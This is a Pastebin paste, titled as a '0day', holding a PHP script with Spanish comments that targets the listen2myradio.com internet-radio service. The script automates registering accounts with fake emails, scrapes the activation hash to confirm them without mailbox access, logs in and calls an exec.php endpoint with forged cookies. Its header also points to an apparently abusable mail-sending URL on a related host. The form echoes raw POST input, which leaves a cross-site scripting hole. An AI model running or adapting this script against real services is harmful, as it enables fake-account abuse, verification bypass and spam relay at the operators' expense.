Advertisement
diabliyo

listen2myradio_0day_starting

Oct 13th, 2012
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.57 KB | None | 0 0
  1. <?php
  2. # BUG 1 - registro de cuentas con autentificacion hack
  3. #
  4. # BUG 2 - vulnerabilidad en archivo de enviar mails
  5. # Host: Target: www.l2mremail.info
  6. # Stream: GET
  7. # Target: /mail.php?massage=+The+message&emailto=namemail@mail.com&subject=the%20subject
  8. # Target Referer: http://listen2myradio.com/register.php
  9. #
  10. session_start();
  11.  
  12. # headers
  13. include( "admin/funciones.php" );
  14.  
  15. echo '<form action="test.php" method="POST">
  16. Usuario: <input type="text" name="usuario" id="usuario" value="'. $_POST["usuario"]. '">
  17. <br>Clave: <input type="text" name="clave" id="clave" value="'. $_POST["clave"]. '">
  18. <br>Email Falso: <input type="text" name="email" id="email" value="'. $_POST["email"]. '">
  19. <br>Paso: <select name="paso"><option value="error">--</option>
  20. <option value="uno">Paso 1</option>
  21. <option value="dos">Paso 2</option>
  22. <option value="tres">Paso 3</option>
  23. </select>
  24. <br><input type="submit" name="boton" value="Enviar">
  25. </form>';
  26.  
  27. if( !strcmp($_POST["boton"], "Enviar") ) # enviando
  28.     {
  29.     # primer paso enviar las variables, por flujo POST
  30.     # segundo paso obtenemos resultado de la peticion de registro (hash)
  31.     # tercero enviamos el regstro de confirmacion por flujo GET
  32.     #
  33.  
  34.     echo '<h1>Resultado</h1><p>';
  35.    
  36.     if( !strcmp($_POST["paso"], "error") || !$_POST["paso"] )
  37.         echo 'Error: paso incorrecto.';
  38.     # paso 1 - registro y generar hash de activacion
  39.     else if( !strcmp($_POST["paso"], "uno") )
  40.         {
  41.         # args= #'name=angel&username=siegroupradio&password=5136r0up&password1=5136r0up&email=siegroup01%40gmail.com&email1=siegroup01%40gmail.com&ktovet=MX&accept=on';
  42.         $host= 'listen2myradio.com';
  43.         $target= '/register.php';
  44.         $args= 'name='. generar_idtrack(). '&username='. $_POST["usuario"]. '&password='. $_POST["clave"]. '&password1='. $_POST["clave"]. '&email='. proteger_cadena($_POST["email"]). '&email1='. proteger_cadena($_POST["email"]). '&ktovet=MX&accept=on';  
  45.         $stream= 'POST';
  46.         $arr= array( $stream, $target, $args, );
  47.         $r= curl_iodata( $host, $arr, '80' );
  48.  
  49.         # sacando hash
  50.         $patron= '|\<div id\=\'content\'\>(.*?)\<\/div\>|is';
  51.         preg_match_all( $patron, $r, $d);
  52.         if( !strstr( $d[0][0], "We received your request to register" ) ) # no se registro con exito
  53.             echo 'Error: No se logro registrar, ya existe el mail';
  54.         else # cuenta registrada con exito
  55.             {
  56.             echo 'Correo registrado, hay que procesar activacion<br>';
  57.             $patron= '|\<img src\=(.*?)\>|is';
  58.             preg_match_all( $patron, $r, $d);
  59.             #echo '[<b>'. urldecode($d[1][2]). '</b>]<br>';
  60.             $x= explode( "register_in=", urldecode($d[1][2]) );
  61.             $y= explode( "&", $x[1] );
  62.             $url= $host.$target.'?register_in='. $y[0];
  63.             echo $url;
  64.             $fp= fopen( "paso.txt", "w");
  65.             fwrite( $fp, $url, strlen($url));
  66.             fclose($fp);
  67.             unset($y, $x, $fp, $url);
  68.             }
  69.         unset($patron, $d, $r, $host, $targr, $args, $stream, $arr);
  70.         }
  71.     # paso 2 - confirmar la cuenta de correo falsa
  72.     else if( !strcmp($_POST["paso"], "dos") )
  73.         {
  74.         $file= 'paso.txt'; # registro
  75.         if( !file_exists($file) )
  76.             echo 'Error: debes hacer paso 1';
  77.         else
  78.             {
  79.             # leemos paso.txt
  80.             $fp= fopen( $file, "r"); # abrimos
  81.             $buf= fread($fp, filesize($file)); # leemos el archivo
  82.             fclose($fp);
  83.             unset($fp);
  84.            
  85.             $x= explode( "?", clearjump($buf) ); # dividimos
  86.             if( count($x)!=2 )
  87.                 echo 'Error: extraer informacion archivo paso.txt';
  88.             else
  89.                 {
  90.                 $host= 'listen2myradio.com';
  91.                 $target= '/register.php';
  92.                 $args= '?'.$x[1];# ?register_in=HASH_CODE
  93.                 $stream= 'GET';
  94.                 $arr= array( $stream, $target.$args, 0 );
  95.                 $r= curl_iodata( $host, $arr, '80' );
  96.                 $fp= fopen( "paso2.txt", "w");
  97.                 fwrite( $fp, $r, strlen($r));
  98.                 fclose($fp);
  99.  
  100.                 $patron= '|\<div id\=\'content\'\>(.*?)\<\/div\>|is';
  101.                 $d='';
  102.                 preg_match_all( $patron, $r, $d);
  103.                 if( !strstr( $d[0][0], "successful registered" ) ) # no se pudo confirar la cuenta
  104.                     echo 'Error: No se logro verificar la cuenta';
  105.                 else # se confirmo con exito la cuenta
  106.                     echo 'Cuenta Registrada y Verificada con exito...';
  107.                    
  108.                 unset($host, $target, $args, $stream, $arr, $r, $fp, $patron, $d);
  109.                 }
  110.             unset($buf, $x);
  111.             }
  112.         unset($file);
  113.         }
  114.     # paso 3 - logearse al sistema e instalar el server de audio
  115.     else if( !strcmp($_POST["paso"], "tres") )
  116.         {
  117.         $file= 'paso2.txt';
  118.         if( !file_exists($file) )
  119.             echo 'Error: debes hacer paso 2';
  120.         else
  121.             {
  122.             $host= 'listen2myradio.com';
  123.             $target= '/signup.php'; # script para conectar
  124.             $args= 'password='. $_POST["clave"]. '&email='. proteger_cadena($_POST["email"]); # user, password, email
  125.             $stream= 'POST';
  126.  
  127.             echo '[*] Conectando a listen2myradio [';
  128.             $arr= array( $stream, $target, $args );
  129.             $r= curl_iodata( $host, $arr, '80' );
  130.            
  131.             # sacando hash
  132.             $patron= '|\<div id\=\'content\'\>(.*?)\<\/div\>|is';
  133.             preg_match_all( $patron, $r, $d);
  134.             if( strstr( $d[0][0], "Email and password are incorrect" ) ) # no se registro con exito
  135.                 echo '<b>Error: El email o clave son incorrectos</b>]';
  136.             else # cuenta registrada con exito
  137.                 {
  138.                 echo '<b>OK</b>]';
  139.                 $fp= fopen( "paso3.txt", "w");
  140.                 fwrite( $fp, $r, strlen($r));
  141.                 fclose($fp);
  142.                 unset($r);
  143.            
  144.                 echo '<br>Paso 4 ---';
  145.                 $stream= 'GET';
  146.                 $target= '/exec.php'; # script para conectar
  147.                 $extra_heads= array("Cookie"=>"PHPSESSID=; 12mr=;");
  148.                 $arr= array( $stream, $target, 0, $extra_heads );
  149.                 $r= curl_iodata( $host, $arr, '80' );
  150.                 $fp= fopen( "paso4.txt", "w");
  151.                 fwrite( $fp, $r, strlen($r));
  152.                 fclose($fp);
  153.                 unset($r);
  154.                 unset($fp);
  155.                 }
  156.            
  157.             unset($host, $target, $args, $stream, $d, $patron, $r, $arr);
  158.             }
  159.         unset($file);
  160.         }
  161.     }
  162. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement